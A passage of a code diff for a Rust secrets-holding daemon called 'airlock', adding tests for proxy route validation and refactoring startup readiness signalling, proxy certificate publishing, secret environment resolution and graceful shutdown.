+[tools.curl] +proxy = true + +[tools.curl.env] +CLOUDSDK_CORE_PROJECT = "my-project" + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap(); + assert!( + config.tools["curl"] + .env + .contains_key("CLOUDSDK_CORE_PROJECT") + ); + } + + #[test] + fn reject_invalid_route_reports_tool_and_index() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" + +[[tools.curl.routes]] +host = "10.0.0.1" +"#, + ) + .unwrap_err(); + match err { + ConfigError::InvalidProxyRoute { + tool, + index, + source, + } => { + assert_eq!(tool, "curl"); + assert_eq!(index, 1); + assert!(matches!(source, RouteError::InvalidHost { .. })); + } + other => panic!("expected InvalidProxyRoute, got: {other:?}"), + } + } + + #[test] + fn reject_invalid_rule_and_inject() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +allow = ["get /**"] +"#, + ) + .unwrap_err(); + assert!( + matches!( + err, + ConfigError::InvalidProxyRoute { + source: RouteError::InvalidRule { .. }, + .. + } + ), + "got: {err:?}" + ); + + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +inject = { header = "Host", value = "{secret}", secret = "gcp_token" } +"#, + ) + .unwrap_err(); + assert!( + matches!( + err, + ConfigError::InvalidProxyRoute { + source: RouteError::InvalidInject { .. }, + .. + } + ), + "got: {err:?}" + ); + } + + #[test] + fn reject_duplicate_route_host_case_insensitively() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" + +[[tools.curl.routes]] +host = "Example.COM" +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::DuplicateProxyRouteHost { ref host, .. } if host == "example.com"), + "got: {err:?}" + ); + } + + #[test] + fn reject_route_with_undeclared_secret() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "ghost" } +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::UndeclaredProxySecret { ref label, .. } if label == "ghost"), + "got: {err:?}" + ); + } + + #[test] + fn reject_unknown_route_field() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "example.com" +alow = ["GET /**"] +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ParseError { .. }), + "got: {err:?}" + ); + } + #[test] fn reject_invalid_env_var_name() { let tmp = tempdir().unwrap(); diff --git a/src/daemon.rs b/src/daemon.rs index 7df4827..efa226d 100644 --- a/src/daemon.rs +++ b/src/daemon.rs @@ -19,6 +19,8 @@ //! threads in an undefined state in the child. use std::collections::{HashSet, VecDeque}; +use std::future::Future; +use std::os::unix::io::FromRawFd; use std::os::unix::net as unix_net; use std::os::unix::process::ExitStatusExt; use std::path::{Path, PathBuf}; @@ -26,12 +28,16 @@ use std::sync::{Arc, Mutex, RwLock}; use std::time::Duration; use thiserror::Error; +use tokio::sync::watch; +use tokio::task::JoinSet; use crate::config::{self, Config, ConfigError}; use crate::exec; use crate::policy; use crate::protocol::{ClientMessage, DaemonMessage, LogEntry}; -use crate::redact::{self, RedactError, Redactor}; +use crate::proxy::ca::{CaError, ProxyCa}; +use crate::proxy::server::{ProxySession, ProxyShared}; +use crate::redact::{self, RedactError, Redactor, RedactorSwap}; use crate::refresh; use crate::sandbox; use crate::secrets::{self, Health, SecretStore, SecretsError}; @@ -44,6 +50,9 @@ const RING_BUFFER_CAPACITY: usize = 1000; /// Grace period for children to exit after receiving SIGTERM during shutdown. const SHUTDOWN_GRACE_PERIOD: Duration = Duration::from_secs(5); +/// How long shutdown waits for refresh tasks to stop before aborting them. +const REFRESH_STOP_TIMEOUT: Duration = Duration::from_secs(2); + /// Duration to wait for initial stdin before auto-closing the child's stdin pipe. const STDIN_TIMEOUT: Duration = Duration::from_secs(2); @@ -161,6 +170,14 @@ pub enum DaemonError { /// Failed to create the tokio runtime. #[error("failed to create tokio runtime: {0}")] RuntimeCreation(std::io::Error), + + /// Failed to install the SIGTERM handler. + #[error("failed to install SIGTERM handler: {0}")] + SignalHandler(std::io::Error), + + /// The proxy certificate authority could not be created or published. + #[error("failed to set up the proxy certificate authority: {0}")] + ProxyCa(#[from] CaError), } // ─── Ring buffer logging ────────────────────────────────────────────────────── @@ -276,23 +293,15 @@ fn days_to_date(days: u64) -> (u64, u64, u64) { /// /// Supports insert, remove, and iterate-all operations. Safe to access from /// multiple tokio tasks concurrently. -#[derive(Clone)] +#[derive(Default)] pub struct ChildRegistry { - inner: Arc>>, -} - -impl Default for ChildRegistry { - fn default() -> Self { - Self::new() - } + inner: Mutex>, } impl ChildRegistry { /// Create a new empty registry. pub fn new() -> Self { - Self { - inner: Arc::new(Mutex::new(HashSet::new())), - } + Self::default() } /// Register a child PID. Duplicate insertions are handled gracefully. @@ -326,9 +335,10 @@ pub struct StartupState { /// Per-secret slots wrapped for shared, in-place mutation by refresh tasks. pub secrets: SecretStore, /// The shared, swappable redactor. Refresh tasks rebuild it on each - /// successful refresh (covering current + previous generations); active - /// connections snapshot the inner `Arc` at accept time. - pub redactor: Arc>>, + /// successful refresh (covering current + previous generations); an exec + /// snapshots the inner `Arc` once it has read the tool's + /// secrets. + pub redactor: RedactorSwap, /// The bound std UnixListener. pub listener: unix_net::UnixListener, } @@ -377,7 +387,7 @@ pub fn synchronous_startup( }; // 2. Stale state detection and cleanup. - check_and_cleanup_stale_state(&config.pid_path, &config.socket_path)?; + check_and_cleanup_stale_state(&config.pid_path, &config.socket_path, &config.ca_path)?; // 3. Secret collection. Wrapped per-slot so refresh tasks can later swap // values in place; every slot starts `Healthy`. @@ -439,7 +449,11 @@ pub fn synchronous_startup( /// that answers (an embedded `airlock run` daemon, which writes no PID file) /// yields `SocketInUse`; an unresponsive socket is removed as stale. /// - If neither exists, proceeds normally. -fn check_and_cleanup_stale_state(pid_path: &Path, socket_path: &Path) -> Result<(), DaemonError> { +fn check_and_cleanup_stale_state( + pid_path: &Path, + socket_path: &Path, + ca_path: &Path, +) -> Result<(), DaemonError> { if pid_path.exists() { // Read the PID from the file. let contents = std::fs::read_to_string(pid_path).map_err(|e| DaemonError::PidFileRead { @@ -463,8 +477,7 @@ fn check_and_cleanup_stale_state(pid_path: &Path, socket_path: &Path) -> Result< } // Process is dead (ESRCH) — stale state. Clean up. - let _ = std::fs::remove_file(pid_path); - let _ = std::fs::remove_file(socket_path); + remove_runtime_files([pid_path, socket_path, ca_path]); } else if socket_path.exists() { // No PID file, but a socket file is present. It is either a live // embedded daemon (an `airlock run` session writes no PID file) or a @@ -477,12 +490,28 @@ fn check_and_cleanup_stale_state(pid_path: &Path, socket_path: &Path) -> Result< path: socket_path.to_path_buf(), }); } - let _ = std::fs::remove_file(socket_path); + remove_runtime_files([pid_path, socket_path, ca_path]); } Ok(()) } +/// Remove the daemon's runtime files. Returns the ones that exist but could +/// not be removed; a file that is already gone is not an error, since which +/// files exist depends on the mode (no PID file for an embedded daemon, no +/// CA without a proxy tool). +pub fn remove_runtime_files<'a>( + files: impl IntoIterator, +) -> Vec<(&'a Path, std::io::Error)> { + files + .into_iter() + .filter_map(|path| match std::fs::remove_file(path) { + Err(e) if e.kind() != std::io::ErrorKind::NotFound => Some((path, e)), + _ => None, + }) + .collect() +} + /// Verify the socket file has owner-only permissions. /// /// Refuses to proceed if other users have any access. This is not something @@ -594,16 +623,20 @@ pub fn daemonize(state: StartupState) -> Result<(), DaemonError> { if pid > 0 { // ── Original parent ── - // Close write end; wait for readiness signal on read end. + // Close write end; wait for the readiness verdict on the read end. unsafe { libc::close(write_end) }; + let read_end = unsafe { std::fs::File::from_raw_fd(read_end) }; - let mut buf = [0u8; 1]; - // Blocking read — will return when child writes or pipe closes. - unsafe { libc::read(read_end, buf.as_mut_ptr() as *mut libc::c_void, 1) }; - unsafe { libc::close(read_end) }; + let status = match await_readiness(read_end) { + Ok(()) => 0, + Err(reason) => { + eprintln!("error: daemon failed to start: {reason}"); + 1 + } + }; // Exit without running Rust destructors. - unsafe { libc::_exit(0) }; + unsafe { libc::_exit(status) }; } // ── First child ── @@ -636,7 +669,60 @@ pub fn daemonize(state: StartupState) -> Result<(), DaemonError> { } // Enter the async runtime with the readiness pipe write end. - run_async_runtime(state, Some(write_end), false) + run_async_runtime(state, Some(ReadinessPipe(write_end)), false) +} + +/// Read the grandchild's verdict from the readiness pipe. +/// +/// The grandchild's stdio is `/dev/null`, so this pipe is the only channel +/// through which a startup failure can reach the user. A leading +/// [`READY`] byte means the daemon is accepting connections; a leading +/// [`FAILED`] byte is followed by the error text. EOF before either — the +/// grandchild died, or exited with a `?` on a path that never reached the +/// pipe — is a failure too, never a silent success. +fn await_readiness(mut read_end: std::fs::File) -> Result<(), String> { + use std::io::Read; + + let mut buf = Vec::new(); + if let Err(e) = read_end.read_to_end(&mut buf) { + return Err(format!("readiness pipe read failed: {e}")); + } + match buf.split_first() { + Some((&READY, _)) => Ok(()), + Some((&FAILED, msg)) => Err(String::from_utf8_lossy(msg).into_owned()), + _ => Err("daemon exited before signalling readiness".to_string()), + } +} + +const READY: u8 = 1; +const FAILED: u8 = 0; + +/// Write end of the readiness pipe, owned by the grandchild. +/// +/// Consumed exactly once: either [`ready`](Self::ready) once the daemon is +/// accepting connections, or [`fail`](Self::fail) with the error that stopped +/// it from getting there. Owning the fd (rather than passing a raw `c_int` +/// around) is what guarantees nothing writes into it after it is closed and +/// the descriptor number has been reused by a socket. +pub(crate) struct ReadinessPipe(libc::c_int); + +impl ReadinessPipe { + fn ready(self) { + self.write_all(&[READY]); + } + + fn fail(self, err: &DaemonError) { + let mut msg = vec![FAILED]; + msg.extend_from_slice(err.to_string().as_bytes()); + self.write_all(&msg); + } + + fn write_all(self, bytes: &[u8]) { + use std::io::Write; + let mut file = unsafe { std::fs::File::from_raw_fd(self.0) }; + // The parent may already be gone; there is nobody left to tell. + let _ = file.write_all(bytes); + } } /// Redirect stdin, stdout, and stderr to /dev/null. @@ -692,110 +778,180 @@ pub(crate) async fn run_embedded( state: StartupState, cancel_rx: tokio::sync::oneshot::Receiver<()>, ) -> Result<(), DaemonError> { - let StartupState { - config, - secrets, - redactor, - listener: std_listener, - } = state; - - // Convert the std listener to a tokio listener (identical to async_main). - std_listener - .set_nonblocking(true) - .map_err(|e| DaemonError::SocketBind { - path: config.socket_path.clone(), - source: e, - })?; - let listener = - tokio::net::UnixListener::from_std(std_listener).map_err(|e| DaemonError::SocketBind { - path: config.socket_path.clone(), - source: e, - })?; - - let config = Arc::new(config); - // Embedded mode does not echo log lines to stderr — stderr belongs to the // agent process. Writes go to the ring buffer only. - let ring_buffer = RingBuffer::new(); - let child_registry = ChildRegistry::new(); - - // Spawn per-secret refresh tasks, identical to async_main. - let (mut refresh_tasks, refresh_shutdown) = refresh::spawn_all( - &config, - Arc::clone(&secrets), - Arc::clone(&redactor), + let daemon = Daemon::start(state, RingBuffer::new())?; + daemon + .shared + .ring_buffer + .log("embedded daemon started, accepting connections"); + + // The cancel oneshot is the *only* shutdown trigger: `airlock run` drops + // the sender once the agent child has exited. The embedded daemon must + // not react to SIGTERM itself (see this function's doc comment) so that + // it always outlives the agent it serves. + daemon + .serve(async { + let _ = cancel_rx.await; + "cancel signal received" + }) + .await; + + Ok(()) +} + +/// Generate the proxy CA, publish its certificate for tools to trust, and +/// build the state every proxy session shares. +/// +/// This runs inside the runtime and nowhere earlier: key generation is pure +/// CPU, but it must happen after daemonization so that `synchronous_startup` +/// stays free of anything the fork could leave in an undefined state. `None` +/// when no tool declares `proxy = true` — a daemon with no proxy tool holds +/// no CA and writes no certificate. +fn publish_proxy_ca( + config: &Config, + secrets: &SecretStore, + redactor: &RedactorSwap, + ring_buffer: &RingBuffer, +) -> Result>, DaemonError> { + let Some(ca) = ProxyCa::generate(config.tools.values().filter_map(|t| t.proxy.as_ref()))? + else { + return Ok(None); + }; + ca.write_cert_pem(&config.ca_path)?; + ring_buffer.log(format!( + "proxy CA published at {}", + config.ca_path.display() + )); + Ok(Some(Arc::new(ProxyShared::new( + ca, + config.ca_path.clone(), + Arc::clone(secrets), + Arc::clone(redactor), ring_buffer.clone(), - ); - let refresh_count = refresh_tasks.len(); - if refresh_count > 0 { - ring_buffer.log(format!("spawned {refresh_count} secret refresh task(s)")); - } + )))) +} + +// ─── Running daemon ───────────────────────────────────────────────────────── + +/// What every connection handler shares. Built once per daemon. +struct DaemonShared { + config: Config, + secrets: SecretStore, + redactor: RedactorSwap, + ring_buffer: RingBuffer, + child_registry: ChildRegistry, + /// `None` when no tool is a proxy tool. + proxy: Option>, +} - // Capture paths before moving config into Arc. - let socket_path = config.socket_path.clone(); - let pid_path = config.pid_path.clone(); +/// A daemon that is set up and ready to accept. The standalone and the +/// embedded daemon differ only in what they do between [`Daemon::start`] and +/// [`Daemon::serve`], and in what ends `serve`. +struct Daemon { + shared: Arc, + listener: tokio::net::UnixListener, + refresh_tasks: JoinSet<()>, + refresh_shutdown: watch::Sender, +} - ring_buffer.log("embedded daemon started, accepting connections".to_string()); +impl Daemon { + /// Move the bound listener into the runtime, publish the proxy CA and + /// start one refresh task per refreshable secret. + fn start(state: StartupState, ring_buffer: RingBuffer) -> Result { + let StartupState { + config, + secrets, + redactor, + listener, + } = state; + + let socket_bind = |source| DaemonError::SocketBind { + path: config.socket_path.clone(), + source, + }; + listener.set_nonblocking(true).map_err(socket_bind)?; + let listener = tokio::net::UnixListener::from_std(listener).map_err(socket_bind)?; - // `oneshot::Receiver` is `Unpin`, so borrowing via `&mut cancel_rx` - // in each select! arm is sufficient — no pinning machinery needed. - let mut cancel_rx = cancel_rx; + let proxy = publish_proxy_ca(&config, &secrets, &redactor, &ring_buffer)?; - // Accept loop. The cancel oneshot is the *only* shutdown trigger: - // `airlock run` drops the sender once the agent child has exited. The - // embedded daemon must not react to SIGTERM itself (see this function's - // doc comment) so that it always outlives the agent it serves. - loop { - tokio::select! { - accept_result = listener.accept() => { - match accept_result { - Ok((stream, addr)) => { - let peer_info = format!("{:?}", addr); - ring_buffer.log(format!("connection accepted from {peer_info}")); - - let rb = ring_buffer.clone(); - let cr = child_registry.clone(); - let cfg = config.clone(); - let sec = Arc::clone(&secrets); - // Snapshot the redactor at accept time so in-flight - // connections are not affected by concurrent refreshes. - let red = redactor.read().unwrap_or_else(|e| e.into_inner()).clone(); - - tokio::spawn(async move { - handle_connection(stream, cfg, sec, red, rb.clone(), cr).await; - rb.log(format!("connection closed ({peer_info})")); - }); - } - Err(e) => { - ring_buffer.log(format!("accept error: {e}")); + let (refresh_tasks, refresh_shutdown) = refresh::spawn_all( + &config, + Arc::clone(&secrets), + Arc::clone(&redactor), + ring_buffer.clone(), + ); + if !refresh_tasks.is_empty() { + ring_buffer.log(format!( + "spawned {} secret refresh task(s)", + refresh_tasks.len() + )); + } + + Ok(Daemon { + shared: Arc::new(DaemonShared { + config, + secrets, + redactor, + ring_buffer, + child_registry: ChildRegistry::new(), + proxy, + }), + listener, + refresh_tasks, + refresh_shutdown, + }) + } + + /// Accept connections until `shutdown` resolves to the reason it fired, + /// then stop the refresh tasks and shut down gracefully. + async fn serve(mut self, shutdown: impl Future) { + let ring_buffer = &self.shared.ring_buffer; + tokio::pin!(shutdown); + + loop { + tokio::select! { + accept_result = self.listener.accept() => { + match accept_result { + Ok((stream, addr)) => { + let peer_info = format!("{addr:?}"); + ring_buffer.log(format!("connection accepted from {peer_info}")); + + let shared = Arc::clone(&self.shared); + + tokio::spawn(async move { + handle_connection(stream, &shared).await; + shared.ring_buffer.log(format!("connection closed ({peer_info})")); + }); + } + Err(e) => { + ring_buffer.log(format!("accept error: {e}")); + } } } - } - _ = &mut cancel_rx => { - ring_buffer.log("cancel signal received, initiating graceful shutdown".to_string()); - break; + reason = &mut shutdown => { + ring_buffer.log(format!("{reason}, initiating graceful shutdown")); + break; + } } } - } - // Stop refresh tasks before tearing down children/files (same bounded - // 2-second wait as async_main). - let _ = refresh_shutdown.send(true); - let drain = async { while refresh_tasks.join_next().await.is_some() {} }; - if tokio::time::timeout(Duration::from_secs(2), drain) - .await - .is_err() - { - ring_buffer.log("refresh tasks did not stop within 2s; aborting".to_string()); - refresh_tasks.abort_all(); - } - - // Graceful shutdown: signal/wait for child processes and remove the socket - // file. No PID file was written, so pid_path removal will fail silently - // (the error is logged to the ring buffer only). - graceful_shutdown(&child_registry, &ring_buffer, &socket_path, &pid_path).await; + // Stop refresh tasks before tearing down children/files. Bound the + // wait so a stuck task cannot wedge shutdown. + let _ = self.refresh_shutdown.send(true); + let drain = async { while self.refresh_tasks.join_next().await.is_some() {} }; + if tokio::time::timeout(REFRESH_STOP_TIMEOUT, drain) + .await + .is_err() + { + ring_buffer.log(format!( + "refresh tasks did not stop within {REFRESH_STOP_TIMEOUT:?}; aborting" + )); + self.refresh_tasks.abort_all(); + } - Ok(()) + graceful_shutdown(&self.shared).await; + } } // ─── Async runtime entry point ────────────────────────────────────────────── @@ -805,79 +961,75 @@ pub(crate) async fn run_embedded( /// # Arguments /// /// * `state` — The startup state bundle from the synchronous phase. -/// * `readiness_fd` — If `Some`, the write end of the readiness pipe. -/// A single byte is written and the fd is closed after the daemon is -/// ready to accept connections. If `None` (foreground mode), this is a no-op. +/// * `readiness` — If `Some`, the write end of the readiness pipe. It is +/// answered once the daemon is accepting connections, or with the error +/// if startup fails before that point. `None` in foreground mode. fn run_async_runtime( state: StartupState, - readiness_fd: Option, + readiness: Option, foreground: bool, ) -> Result<(), DaemonError> { - let runtime = tokio::runtime::Runtime::new().map_err(DaemonError::RuntimeCreation)?; + let runtime = match tokio::runtime::Runtime::new() { + Ok(rt) => rt, + Err(e) => { + let err = DaemonError::RuntimeCreation(e); + if let Some(pipe) = readiness { + pipe.fail(&err); + } + return Err(err); + } + }; - runtime.block_on(async_main(state, readiness_fd, foreground)) + runtime.block_on(async_main(state, readiness, foreground)) } /// The async main loop of the daemon. +/// +/// Every startup step that can fail runs before the readiness signal, so a +/// failure here has to be reported through the pipe: once daemonized, the +/// process has no stderr and the parent's exit status is the user's only +/// feedback. async fn async_main( state: StartupState, - readiness_fd: Option, + mut readiness: Option, foreground: bool, ) -> Result<(), DaemonError> { - let StartupState { - config, - secrets, - redactor, - listener: std_listener, - } = state; - - // Convert the std listener to a tokio listener. - std_listener - .set_nonblocking(true) - .map_err(|e| DaemonError::SocketBind { - path: config.socket_path.clone(), - source: e, - })?; - let listener = - tokio::net::UnixListener::from_std(std_listener).map_err(|e| DaemonError::SocketBind { - path: config.socket_path.clone(), - source: e, - })?; - - // Wrap shared state in Arcs for concurrent access across connections. - // `secrets` is already `SecretStore` (Arc>); `redactor` is - // already `Arc>>`. - let config = Arc::new(config); + let result = async_main_inner(state, &mut readiness, foreground).await; + if let (Err(err), Some(pipe)) = (&result, readiness.take()) { + pipe.fail(err); + } + result +} - // Create shared state. Foreground mode echoes log lines to stderr so the - // operator sees what the daemon is doing; daemonized mode writes to the - // ring buffer only (stdio is /dev/null). +async fn async_main_inner( + state: StartupState, + readiness: &mut Option, + foreground: bool, +) -> Result<(), DaemonError> { + // Foreground mode echoes log lines to stderr so the operator sees what + // the daemon is doing; daemonized mode writes to the ring buffer only + // (stdio is /dev/null). let ring_buffer = if foreground { RingBuffer::new_echoing() } else { RingBuffer::new() }; - let child_registry = ChildRegistry::new(); - - // Spawn one background task per refreshable secret. Tasks live until they - // observe the shutdown signal or get aborted at SIGTERM. - let (mut refresh_tasks, refresh_shutdown) = refresh::spawn_all( - &config, - Arc::clone(&secrets), - Arc::clone(&redactor), - ring_buffer.clone(), - ); - let refresh_count = refresh_tasks.len(); - if refresh_count > 0 { - ring_buffer.log(format!("spawned {refresh_count} secret refresh task(s)")); - } + let daemon = Daemon::start(state, ring_buffer)?; - // Write PID file. - let pid = std::process::id(); - let pid_path = config.pid_path.clone(); - let socket_path = config.socket_path.clone(); + // Before the readiness signal, so a failure reaches `daemon start`, and + // so a SIGTERM sent as soon as it returns gets a graceful shutdown rather + // than the default action, which would leave the socket and PID file. + let mut sigterm = tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) + .map_err(DaemonError::SignalHandler)?; + + let DaemonShared { + config, + ring_buffer, + .. + } = &*daemon.shared; - if let Err(e) = write_pid_file(&pid_path, pid) { + let pid = std::process::id(); + if let Err(e) = write_pid_file(&config.pid_path, pid) { ring_buffer.log(format!("failed to write PID file: {e}")); return Err(e); } @@ -885,71 +1037,19 @@ async fn async_main( ring_buffer.log(format!("daemon started (PID: {pid})")); ring_buffer.log(format!( "listening on {} — ready to accept connections", - socket_path.display() + config.socket_path.display() )); - // Signal readiness. - if let Some(fd) = readiness_fd { - unsafe { - let byte: [u8; 1] = [1]; - libc::write(fd, byte.as_ptr() as *const libc::c_void, 1); - libc::close(fd); - } + if let Some(pipe) = readiness.take() { + pipe.ready(); } - // Install SIGTERM handler. - let mut sigterm = tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) - .expect("failed to install SIGTERM handler"); - - // Accept loop with shutdown. - loop { - tokio::select! { - accept_result = listener.accept() => { - match accept_result { - Ok((stream, addr)) => { - let peer_info = format!("{:?}", addr); - ring_buffer.log(format!("connection accepted from {peer_info}")); - - let rb = ring_buffer.clone(); - let cr = child_registry.clone(); - let cfg = config.clone(); - let sec = Arc::clone(&secrets); - // Snapshot the redactor at accept time. Refresh tasks - // may swap the inner Arc later; this connection keeps - // its snapshot for its full lifetime. - let red = redactor.read().unwrap_or_else(|e| e.into_inner()).clone(); - - tokio::spawn(async move { - handle_connection(stream, cfg, sec, red, rb.clone(), cr).await; - rb.log(format!("connection closed ({peer_info})")); - }); - } - Err(e) => { - ring_buffer.log(format!("accept error: {e}")); - } - } - } - _ = sigterm.recv() => { - ring_buffer.log("SIGTERM received, initiating graceful shutdown".to_string()); - break; - } - } - } - - // Stop refresh tasks before tearing down children/files. Bound the wait - // so a stuck task cannot wedge shutdown. - let _ = refresh_shutdown.send(true); - let drain = async { while refresh_tasks.join_next().await.is_some() {} }; - if tokio::time::timeout(Duration::from_secs(2), drain) - .await - .is_err() - { - ring_buffer.log("refresh tasks did not stop within 2s; aborting".to_string()); - refresh_tasks.abort_all(); - } - - // ── Graceful shutdown ── - graceful_shutdown(&child_registry, &ring_buffer, &socket_path, &pid_path).await; + daemon + .serve(async move { + sigterm.recv().await; + "SIGTERM received" + }) + .await; Ok(()) } @@ -960,15 +1060,10 @@ async fn async_main( /// /// Reads the first NDJSON line to determine the request type, dispatches to /// the appropriate handler, and closes the connection. -async fn handle_connection( - stream: tokio::net::UnixStream, - config: Arc, - secrets: SecretStore, - redactor: Arc, - ring_buffer: RingBuffer, - child_registry: ChildRegistry, -) { +async fn handle_connection(stream: tokio::net::UnixStream, shared: &DaemonShared) { use tokio_stream::StreamExt; + + let ring_buffer = &shared.ring_buffer; use tokio_util::codec::{FramedRead, LinesCodec, LinesCodecError}; let (reader, mut writer) = stream.into_split(); @@ -1040,19 +1135,7 @@ async fn handle_connection( let _ = write_ndjson_message(&mut writer, &response).await; } ClientMessage::Exec { tool, args, cwd } => { - handle_exec_request( - tool, - args, - cwd, - framed, - writer, - config, - secrets, - redactor, - ring_buffer, - child_registry, - ) - .await; + handle_exec_request(tool, args, cwd, framed, writer, shared).await; } other => { // Unknown message type for initial request. Log only the variant @@ -1089,6 +1172,43 @@ async fn log_and_send_error( let _ = write_ndjson_message(writer, &DaemonMessage::Error { message: msg }).await; } +/// The tool's `env` map with every secret reference resolved, in the map's +/// (alphabetical) order. +/// +/// A `Stale` slot — left behind by a failed background refresh — is an +/// error: the exec is refused rather than handing the tool a value known to +/// be expired. Refs are validated at config load time, so a missing label +/// is an internal invariant break; it refuses the exec too, rather than +/// running the tool without a variable it was configured with. +fn resolve_tool_env( + tool_config: &config::ToolConfig, + secrets: &SecretStore, +) -> Result, String> { + let mut env_pairs = Vec::with_capacity(tool_config.env.len()); + for (name, value) in &tool_config.env { + match value { + config::EnvValue::Static(s) => env_pairs.push((name.clone(), s.clone())), + config::EnvValue::SecretRef(label) => { + let Some(slot_lock) = secrets.get(label) else { + return Err(format!("secret {label:?} is not in the secret store")); + }; + let slot = slot_lock.read().unwrap_or_else(|e| e.into_inner()); + match &slot.health { + Health::Healthy => { + env_pairs.push((name.clone(), slot.value.expose_secret().clone())); + } + Health::Stale { reason, .. } => { + return Err(format!( + "secret {label:?} is stale (last refresh failed): {reason}" + )); + } + } + } + } + } + Ok(env_pairs) +} + /// The reason the concurrent I/O loop terminated. enum TermReason { /// The child process exited with the given status. @@ -1103,172 +1223,160 @@ enum TermReason { ClientLineOverflow, } -/// Handle an exec request: validate, spawn, and manage the child's lifecycle. -/// -/// This function implements the full exec flow: +/// A tool that passed every check and was spawned. +struct StartedTool { + spawned: exec::SpawnedChild, + timeout: Duration, + /// The redactor for the child's stdout and stderr. + redactor: Arc, + /// Held for as long as the exec runs. Dropping it aborts the serve task + /// and closes the listener, so every way out of [`handle_exec_request`] + /// takes the proxy down with the child. + _proxy_session: Option, +} + +/// Validate an exec request and spawn the tool: /// 1. Tool validation /// 2. CWD validation /// 3. Binary resolution -/// 4. Environment construction -/// 5. Timeout resolution -/// 6. Policy and sandbox profile construction -/// 7. ExecRequest assembly and spawn -/// 8. Child registration -/// 9. Concurrent I/O loop (output streaming, stdin forwarding, timeout, disconnect) -/// 10. Post-loop cleanup (drain output, send exit, kill if needed) -#[allow(clippy::too_many_arguments)] -async fn handle_exec_request( - tool: String, +/// 4. Environment construction and redactor snapshot +/// 5. Proxy session (proxy tools only): bind the listener, overlay its env +/// 6. Timeout resolution +/// 7. Policy and sandbox profile construction +/// 8. ExecRequest assembly and spawn +/// +/// An error is the message to log and send to the client. +fn start_tool( + tool: &str, args: Vec, - cwd: String, - mut framed: tokio_util::codec::FramedRead< - tokio::net::unix::OwnedReadHalf, - tokio_util::codec::LinesCodec, - >, - mut writer: tokio::net::unix::OwnedWriteHalf, - config: Arc, - secrets: SecretStore, - redactor: Arc, - ring_buffer: RingBuffer, - child_registry: ChildRegistry, -) { - use tokio::io::AsyncWriteExt; - use tokio_stream::StreamExt; - use tokio_util::codec::LinesCodecError; + cwd: &str, + shared: &DaemonShared, +) -> Result { + let DaemonShared { + config, + secrets, + redactor, + ring_buffer, + proxy, + .. + } = shared; // ── 1. Tool validation ────────────────────────────────────────────────── - if let Err(e) = policy::validate_tool_exists(&tool, &config) { - log_and_send_error( - format!("unknown tool {:?}: {e}", tool), - &ring_buffer, - &mut writer, - ) - .await; - return; - } + policy::validate_tool_exists(tool, config) + .map_err(|e| format!("unknown tool {tool:?}: {e}"))?; // ── 2. CWD validation ─────────────────────────────────────────────────── - let cwd_path = PathBuf::from(&cwd); - if let Err(e) = policy::validate_cwd(&cwd_path, &config.sandbox_root) { - log_and_send_error( - format!("CWD validation failed: {e}"), - &ring_buffer, - &mut writer, - ) - .await; - return; - } + let cwd_path = PathBuf::from(cwd); + policy::validate_cwd(&cwd_path, &config.sandbox_root) + .map_err(|e| format!("CWD validation failed: {e}"))?; // ── 3. Binary resolution ──────────────────────────────────────────────── - let binary = match exec::resolve_binary(&tool) { - Ok(path) => path, - Err(e) => { - log_and_send_error( - format!("binary resolution failed for {:?}: {e}", tool), - &ring_buffer, - &mut writer, - ) - .await; - return; - } - }; + let binary = exec::resolve_binary(tool) + .map_err(|e| format!("binary resolution failed for {tool:?}: {e}"))?; // ── 4. Environment construction ───────────────────────────────────────── + let tool_config = &config.tools[tool]; + let mut env = exec::build_env(&resolve_tool_env(tool_config, secrets)?); + + // Taken after the secrets are read, never earlier. A refresh swaps the + // redactor before it publishes the new value, so a snapshot taken now + // knows every value just put into `env`. One taken at accept time would + // miss a refresh that lands before the client sends its request, and + // the client chooses when that is. + let redactor = Arc::clone(&redactor.read().unwrap_or_else(|e| e.into_inner())); + + // ── 5. Proxy session ──────────────────────────────────────────────────── // - // Walk the tool's env map in order (BTreeMap → alphabetical). Static - // entries pass through; SecretRef entries take a short-lived read lock on - // the slot. A `Stale` slot — left behind by a failed background refresh — - // is a hard error: we refuse the exec rather than hand the tool a value - // we know to be expired. Refs are validated at config load time, so a - // missing label here is an internal invariant break. - let tool_config = &config.tools[&tool]; - let env_build_result: Result, (String, String)> = (|| { - let mut env_pairs: Vec<(String, String)> = Vec::with_capacity(tool_config.env.len()); - for (name, value) in tool_config.env.iter() { - match value { - config::EnvValue::Static(s) => env_pairs.push((name.clone(), s.clone())), - config::EnvValue::SecretRef(label) => { - let Some(slot_lock) = secrets.get(label) else { - continue; - }; - let slot = slot_lock.read().unwrap_or_else(|e| e.into_inner()); - match &slot.health { - Health::Healthy => { - env_pairs.push((name.clone(), slot.value.expose_secret().clone())); - } - Health::Stale { reason, .. } => { - return Err((label.clone(), reason.clone())); - } - } - } - } - } - Ok(env_pairs) - })(); - let env_pairs = match env_build_result { - Ok(p) => p, - Err((label, reason)) => { - log_and_send_error( - format!("secret {label:?} is stale (last refresh failed): {reason}"), - &ring_buffer, - &mut writer, - ) - .await; - return; + // A proxy tool gets a listener of its own, bound now so that the port is + // known before the sandbox profile is built. + let proxy_session = match &tool_config.proxy { + Some(policy) => { + // A configured proxy tool is what makes the daemon generate a CA, + // so the two are present or absent together. + let proxy = proxy.as_ref().ok_or_else(|| { + format!("tool {tool:?} is a proxy tool but the daemon holds no proxy CA") + })?; + let session = ProxySession::start(tool.to_string(), policy.clone(), proxy) + .map_err(|e| format!("failed to start the proxy for tool {tool:?}: {e}"))?; + ring_buffer.log(format!( + "proxy for tool {tool:?} listening on 127.0.0.1:{}", + session.port() + )); + // Applied last so the 